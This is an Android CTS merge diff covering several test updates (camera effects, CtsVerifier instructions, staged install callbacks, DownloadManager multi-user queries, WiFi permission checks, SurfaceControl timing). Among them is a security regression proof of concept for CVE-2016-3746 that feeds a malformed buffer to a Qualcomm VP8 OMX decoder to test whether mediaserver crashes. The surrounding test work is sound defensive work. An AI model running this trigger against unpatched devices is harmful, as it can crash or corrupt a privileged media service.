Merge "Fix Environment.isExternalStorageLegacy() impl." into qt-dev
diff --git a/apps/CameraITS/tests/scene2/test_effects.py b/apps/CameraITS/tests/scene2/test_effects.py
index 20cc7f3..e3ff30f 100644
--- a/apps/CameraITS/tests/scene2/test_effects.py
+++ b/apps/CameraITS/tests/scene2/test_effects.py
@@ -50,7 +50,7 @@
         props = cam.get_camera_properties()
         mono_camera = its.caps.mono_camera(props)
         effects = props['android.control.availableEffects']
-        its.caps.skip_unless(effects)
+        its.caps.skip_unless(effects != [0])
         cam.do_3a(mono_camera=mono_camera)
         print 'Supported effects:', effects
         failed = []
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 4bf8b9f..90e347e 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2877,9 +2877,10 @@
     <string name="provisioning_byod_location_mode_enable_instruction">
         This test verifies that the location updates can be enabled for the managed profile apps.\n
         1. Press the go button to go to the location settings page, set both the main location switch and the work profile location switch enabled.\n
-        2. Move your position a little bit, verify that location updates toast comes up.\n
+        2. Press home to go to the launcher.\n
+        3. Move your position a little bit, verify that location updates toast comes up.\n
         Please wait until the location updates or timeout toast message shows up before going back to the cts-verifier tests.\n
-        3. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
     </string>
 
     <string name="provisioning_byod_location_mode_disable">Disable location</string>
@@ -2887,18 +2888,20 @@
     <string name="provisioning_byod_location_mode_disable_instruction">
         This test verifies that the location updates can be disabled for the managed profile apps through the main location switch.\n
         1. Press the go button to go to the location settings page, set the main location switch disabled.\n
-        2. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
+        2. Press home to go to the launcher.\n
+        3. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
         Please wait until the timeout or location updates toast message shows up before going back to the cts-verifier tests.\n
-        3. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
     </string>
 
     <string name="provisioning_byod_work_location_mode_disable">Disable location for work profile</string>
     <string name="provisioning_byod_work_location_mode_disable_instruction">
         This test verifies that the location updates can be disabled for the managed profile apps through work profile location switch.\n
         1. Press the go button to go to the location settings page, set the work location switch disabled while the main location switch is still enabled.\n
-        2. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
+        2. Press home to go to the launcher.\n
+        3. Move your position a little bit, verify that no location updates toast come up and that the timeout message show up after around 15 seconds.
         Please wait until the timeout or location updates toast message shows up before going back to the cts-verifier tests.\n
-        3. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
+        4. Go back to the cts-verifier tests using the back button, then mark the test accordingly.\n
     </string>
     <string name="provisioning_byod_primary_location_when_work_disabled">Primary receives updates while work location is disabled</string>
     <string name="provisioning_byod_primary_location_when_work_disabled_instruction">
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
index c85fc1b..040641c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
@@ -59,7 +59,7 @@
 
     @Override
     public void set(@Nullable String value) {
-        debug("set", value);
+        debug("set", "new value is %s", value);
         runWithShellPermissionIdentity(() -> setWithPermissionsGranted(value),
                 "android.permission.READ_DEVICE_CONFIG", "android.permission.WRITE_DEVICE_CONFIG");
     }
@@ -81,7 +81,7 @@
         runWithShellPermissionIdentity(()
                 -> reference.set(DeviceConfig.getProperty(mNamespace, mKey)),
                 "android.permission.READ_DEVICE_CONFIG");
-        debug("get", reference.get());
+        debug("get", "returning %s", reference.get());
 
         return reference.get();
     }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
index c85fc1b..040641c 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
@@ -59,7 +59,7 @@
 
     @Override
     public void set(@Nullable String value) {
-        debug("set", value);
+        debug("set", "new value is %s", value);
         runWithShellPermissionIdentity(() -> setWithPermissionsGranted(value),
                 "android.permission.READ_DEVICE_CONFIG", "android.permission.WRITE_DEVICE_CONFIG");
     }
@@ -81,7 +81,7 @@
         runWithShellPermissionIdentity(()
                 -> reference.set(DeviceConfig.getProperty(mNamespace, mKey)),
                 "android.permission.READ_DEVICE_CONFIG");
-        debug("get", reference.get());
+        debug("get", "returning %s", reference.get());
 
         return reference.get();
     }
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 95e1721..b8d5799 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -59,6 +59,7 @@
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
+        <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
new file mode 100644
index 0000000..2767528
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3746
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/frameworks/native/include/media/openmax \
+                    $(TOP)/frameworks/av/media/libstagefright
+
+LOCAL_SHARED_LIBRARIES := \
+    liblog \
+    libbinder \
+    libutils \
+    libmedia \
+    libstagefright \
+    libmedia_omx \
+    libhidlmemory \
+    libstagefright_foundation
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
new file mode 100644
index 0000000..7b67095
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
@@ -0,0 +1,148 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <SharedMemoryBuffer.h>
+#include <binder/MemoryDealer.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AMessage.h>
+
+#include "OMX_Component.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+  virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomVpx() {
+  const char *name = "OMX.qcom.video.decoder.vp8";
+  int fenceFd = -1;
+
+  int inSize = 6230016 * 4;
+  int outSize = 159744 * 4;
+
+  sp<IMemory> memory;
+  sp<IOMXNode> mOMXNode;
+  sp<IOMX> mOmx;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+  ALOGI("-----------decode------------");
+  status_t err = mOmx->allocateNode(name, observerDec, &mOMXNode);
+  if (err != OK) {
+    ALOGE("%s node allocation failed", name);
+    client.disconnect();
+    return false;
+  }
+
+  // change state from loaded to idle
+  err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  // Input
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inSize);
+  IOMX::buffer_id inBufferId = 0;
+  memory = dealerIn->allocate(inSize);
+  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+    ALOGE("memory allocate failed for port index 0, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  /*
+   * keep running to check whether mediaserver crashes
+   * Error conditions are not checked for usebuffer/emptybuffer/fillbuffer
+   */
+
+  OMXBuffer omxInBuf(memory);
+  memset(memory->pointer(), 0xCF, inSize);
+  err = mOMXNode->useBuffer(0, omxInBuf, &inBufferId);
+  ALOGI("useBuffer, port index 0, err: %d", err);
+
+  sp<AMessage> inputFormat = new AMessage;
+  sp<MediaCodecBuffer> codecDataIn;
+  codecDataIn = new SharedMemoryBuffer(inputFormat, memory);
+  OMXBuffer omxInBufShared(codecDataIn);
+
+  // Output
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outSize);
+  IOMX::buffer_id outBufferId = 0;
+  memory = dealerOut->allocate(outSize);
+  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+    ALOGE("memory allocate failed for port index 1, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+  OMXBuffer omxOutBuf(memory);
+  err = mOMXNode->useBuffer(1, omxOutBuf, &outBufferId);
+  ALOGI("useBuffer, port index 1, err: %d", err);
+
+  sp<AMessage> outputFormat = new AMessage;
+  sp<MediaCodecBuffer> codecDataOut;
+  codecDataOut = new SharedMemoryBuffer(outputFormat, memory);
+  OMXBuffer omxOutBufShared(codecDataOut);
+
+  // change state from idle to executing
+  err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    mOMXNode->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  // keep running to check whether mediaserver crashes
+  err = mOMXNode->emptyBuffer(inBufferId, omxInBufShared, 0, 0, fenceFd);
+  ALOGI("emptyBuffer, err: %d", err);
+
+  err = mOMXNode->fillBuffer(outBufferId, omxOutBufShared, fenceFd);
+  ALOGI("fillBuffer, err: %d", err);
+
+  // free node
+  err = mOMXNode->freeNode();
+  ALOGI("freeNode, err: %d", err);
+
+  client.disconnect();
+  return true;
+}
+
+int main() { return (int)(!fuzzIOMXQcomVpx()); }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index dcabb76..20536ea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -35,8 +35,8 @@
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
-                logcat);
+        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
+            logcat);
     }
 
     /**
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 2638729..34eda79 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -29,6 +29,8 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.util.Log;
 import android.util.Pair;
 
@@ -49,6 +51,7 @@
 import java.io.OutputStream;
 import java.nio.file.Files;
 import java.time.Duration;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -565,6 +568,63 @@
         assertSessionFailed(sessionId);
     }
 
+    @Test
+    public void testStagedApkSessionCallbacks() throws Exception {
+
+        List<Integer> created = new ArrayList<Integer>();
+        List<Integer> finished = new ArrayList<Integer>();
+
+        HandlerThread handlerThread = new HandlerThread(
+                "StagedApkSessionCallbacksTestHandlerThread");
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        PackageInstaller.SessionCallback callback = new PackageInstaller.SessionCallback() {
+
+            @Override
+            public void onCreated(int sessionId) {
+                synchronized (created) {
+                    created.add(sessionId);
+                }
+            }
+
+            @Override public void onBadgingChanged(int sessionId) { }
+            @Override public void onActiveChanged(int sessionId, boolean active) { }
+            @Override public void onProgressChanged(int sessionId, float progress) { }
+
+            @Override
+            public void onFinished(int sessionId, boolean success) {
+                synchronized (finished) {
+                    finished.add(sessionId);
+                }
+            }
+        };
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
+        packageInstaller.registerSessionCallback(callback, handler);
+
+        int sessionId = stageSingleApk(
+                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+
+        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+
+        packageInstaller.unregisterSessionCallback(callback);
+
+        handlerThread.quitSafely();
+        handlerThread.join();
+
+        synchronized (created) {
+            assertThat(created).containsExactly(sessionId);
+        }
+        synchronized (finished) {
+            assertThat(finished).containsExactly(sessionId);
+        }
+        packageInstaller.abandonSession(sessionId);
+    }
+
     private static PackageInstaller getPackageInstaller() {
         return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
                 .getPackageInstaller();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index ace6138..9d449ff 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -283,6 +283,11 @@
         return updatable != null && updatable.equals("true");
     }
 
+    @Test
+    public void testStagedApkSessionCallbacks() throws Exception {
+        runPhase("testStagedApkSessionCallbacks");
+    }
+
     /**
      * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
      * it has a version higher than {@code 1}).
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 93ca1c9..3308d6d 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -29,6 +29,7 @@
 import android.net.Uri;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.SystemClock;
 import android.text.TextUtils;
 import android.text.format.DateUtils;
@@ -107,8 +108,10 @@
     }
 
     protected Uri getMediaStoreUri(Uri downloadUri) throws Exception {
-        final String cmd = String.format("content query --uri %s --projection %s",
-                downloadUri, DownloadManager.COLUMN_MEDIASTORE_URI);
+        // Need to pass in the user id to support multi-user scenarios.
+        final int userId = getUserId();
+        final String cmd = String.format("content query --uri %s --projection %s --user %s",
+                downloadUri, DownloadManager.COLUMN_MEDIASTORE_URI, userId);
         final String res = runShellCommand(cmd).trim();
         final String str = DownloadManager.COLUMN_MEDIASTORE_URI + "=";
         final int i = res.indexOf(str);
@@ -121,8 +124,21 @@
         }
     }
 
+    private static int getUserId() {
+        // Ideally we'd use UserHandle.myUserId() however since it is hidden, we don't have access.
+        //return UserHandle.myUserId();
+
+        // Copying behavior of UserHandle.myUserId()
+        int userRange = 100000;
+        return Process.myUid()/userRange;
+    }
+
     protected static String getRawFilePath(Uri uri) throws Exception {
-        final String res = runShellCommand("content query --uri " + uri + " --projection _data");
+        // Need to pass in the user id to support multi-user scenarios.
+        final int userId = getUserId();
+        final String cmd = String.format("content query --uri %s --projection _data --user %s",
+                uri, userId);
+        final String res = runShellCommand(cmd).trim();
         final int i = res.indexOf("_data=");
         if (i >= 0) {
             return res.substring(i + 6);
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index 44a00ef..c2b3bf7 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -27,6 +27,7 @@
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index d8c7dc8..0ef5cd9 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -36,6 +36,7 @@
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.os.Process;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
@@ -771,21 +772,20 @@
         }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
         for (PackageInfo pi : holding) {
             String packageName = pi.packageName;
-            if (allowedPackages.contains(packageName)) {
-                // this is an explicitly allowed package
-            } else {
-                // now check if the packages are from allowed UIDs
-                boolean allowed = false;
-                try {
-                    if (allowedUIDs.contains(pm.getPackageUid(packageName, 0))) {
-                        allowed = true;
-                        Log.d(TAG, packageName + " is on an allowed UID");
-                    }
-                } catch (PackageManager.NameNotFoundException e) { }
-                if (!allowed) {
-                    fail("The NETWORK_SETTINGS permission must not be held by "
-                            + packageName + " and must be revoked for security reasons");
-                }
+
+            // this is an explicitly allowed package
+            if (allowedPackages.contains(packageName)) continue;
+
+            // now check if the packages are from allowed UIDs
+            int uid = -1;
+            try {
+                uid = pm.getPackageUidAsUser(packageName, UserHandle.USER_SYSTEM);
+            } catch (PackageManager.NameNotFoundException e) {
+                continue;
+            }
+            if (!allowedUIDs.contains(uid)) {
+                fail("The NETWORK_SETTINGS permission must not be held by " + packageName
+                        + ":" + uid + " and must be revoked for security reasons");
             }
         }
     }
diff --git a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
index 2bfab1e..3bc8890 100644
--- a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
@@ -31,7 +31,9 @@
 #include <android/surface_control.h>
 #include <android/sync.h>
 
+#include <errno.h>
 #include <jni.h>
+#include <time.h>
 
 namespace {
 
@@ -57,6 +59,16 @@
         return;                            \
     }
 
+#define NANOS_PER_SECOND 1000000000LL
+int64_t systemTime() {
+    struct timespec time;
+    int result = clock_gettime(CLOCK_MONOTONIC, &time);
+    if (result < 0) {
+        return -errno;
+    }
+    return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
+}
+
 static AHardwareBuffer* allocateBuffer(int32_t width, int32_t height) {
     AHardwareBuffer* buffer = nullptr;
     AHardwareBuffer_Desc desc = {};
@@ -337,12 +349,16 @@
     int* contextIntPtr = reinterpret_cast<int*>(context);
     contextIntPtr[0]++;
     contextIntPtr[1] = presentFence;
+    int64_t* systemTimeLongPtr = reinterpret_cast<int64_t*>(contextIntPtr + 2);
+    *systemTimeLongPtr = systemTime();
 }
 
 jlong SurfaceTransaction_setOnComplete(JNIEnv* /*env*/, jclass, jlong surfaceTransaction) {
-    int* context = new int[2];
+    int* context = new int[4];
     context[0] = 0;
     context[1] = -1;
+    context[2] = -1;
+    context[3] = -1;
 
     ASurfaceTransaction_setOnComplete(
             reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
@@ -358,6 +374,9 @@
     int data = contextPtr[0];
     int presentFence = contextPtr[1];
 
+    int64_t* callbackTimePtr = reinterpret_cast<int64_t*>(contextPtr + 2);
+    int64_t callbackTime = *callbackTimePtr;
+
     delete[] contextPtr;
 
     if (desiredPresentTime < 0) {
@@ -367,31 +386,41 @@
         return;
     }
 
-    struct sync_file_info* syncFileInfo = sync_file_info(presentFence);
-    ASSERT(syncFileInfo, "invalid fence")
+    if (presentFence >= 0) {
+        struct sync_file_info* syncFileInfo = sync_file_info(presentFence);
+        ASSERT(syncFileInfo, "invalid fence");
 
-    if (syncFileInfo->status != 1) {
-        sync_file_info_free(syncFileInfo);
-        ASSERT(syncFileInfo->status == 1, "fence did not signal")
-    }
-
-    uint64_t presentTime = 0;
-    struct sync_fence_info* syncFenceInfo = sync_get_fence_info(syncFileInfo);
-    for (size_t i = 0; i < syncFileInfo->num_fences; i++) {
-        if (syncFenceInfo[i].timestamp_ns > presentTime) {
-            presentTime = syncFenceInfo[i].timestamp_ns;
+        if (syncFileInfo->status != 1) {
+            sync_file_info_free(syncFileInfo);
+            ASSERT(syncFileInfo->status == 1, "fence did not signal")
         }
+
+        uint64_t presentTime = 0;
+        struct sync_fence_info* syncFenceInfo = sync_get_fence_info(syncFileInfo);
+        for (size_t i = 0; i < syncFileInfo->num_fences; i++) {
+            if (syncFenceInfo[i].timestamp_ns > presentTime) {
+                presentTime = syncFenceInfo[i].timestamp_ns;
+            }
+        }
+
+        sync_file_info_free(syncFileInfo);
+        close(presentFence);
+
+        // In the worst case the worst present time should be no more than three frames off from the
+        // desired present time. Since the test case is using a virtual display and there are no
+        // requirements for virtual display refresh rate timing, lets assume a refresh rate of 16fps.
+        ASSERT(presentTime < desiredPresentTime + 0.188 * 1e9, "transaction was presented too late");
+        ASSERT(presentTime >= desiredPresentTime, "transaction was presented too early");
+    } else {
+        ASSERT(presentFence == -1, "invalid fences should be -1");
+        // The device doesn't support present fences. We will use the callback time to roughly
+        // verify the result. Since the callback could take up to half a frame, do the normal bound
+        // check plus an additional half frame.
+        ASSERT(callbackTime < desiredPresentTime + (0.188 + 0.031) * 1e9,
+                                                  "transaction was presented too late");
+        ASSERT(callbackTime >= desiredPresentTime, "transaction was presented too early");
     }
 
-    sync_file_info_free(syncFileInfo);
-    close(presentFence);
-
-    // In the worst case the worst present time should be no more than three frames off from the
-    // desired present time. Since the test case is using a virtual display and there are no
-    // requirements for virtual display refresh rate timing, lets assume a refresh rate of 16fps.
-    ASSERT(presentTime < desiredPresentTime + 0.188 * 1e9, "transaction was presented too late");
-    ASSERT(presentTime >= desiredPresentTime, "transaction was presented too early");
-
     ASSERT(data >= 1, "did not receive a callback")
     ASSERT(data <= 1, "received too many callbacks")
 }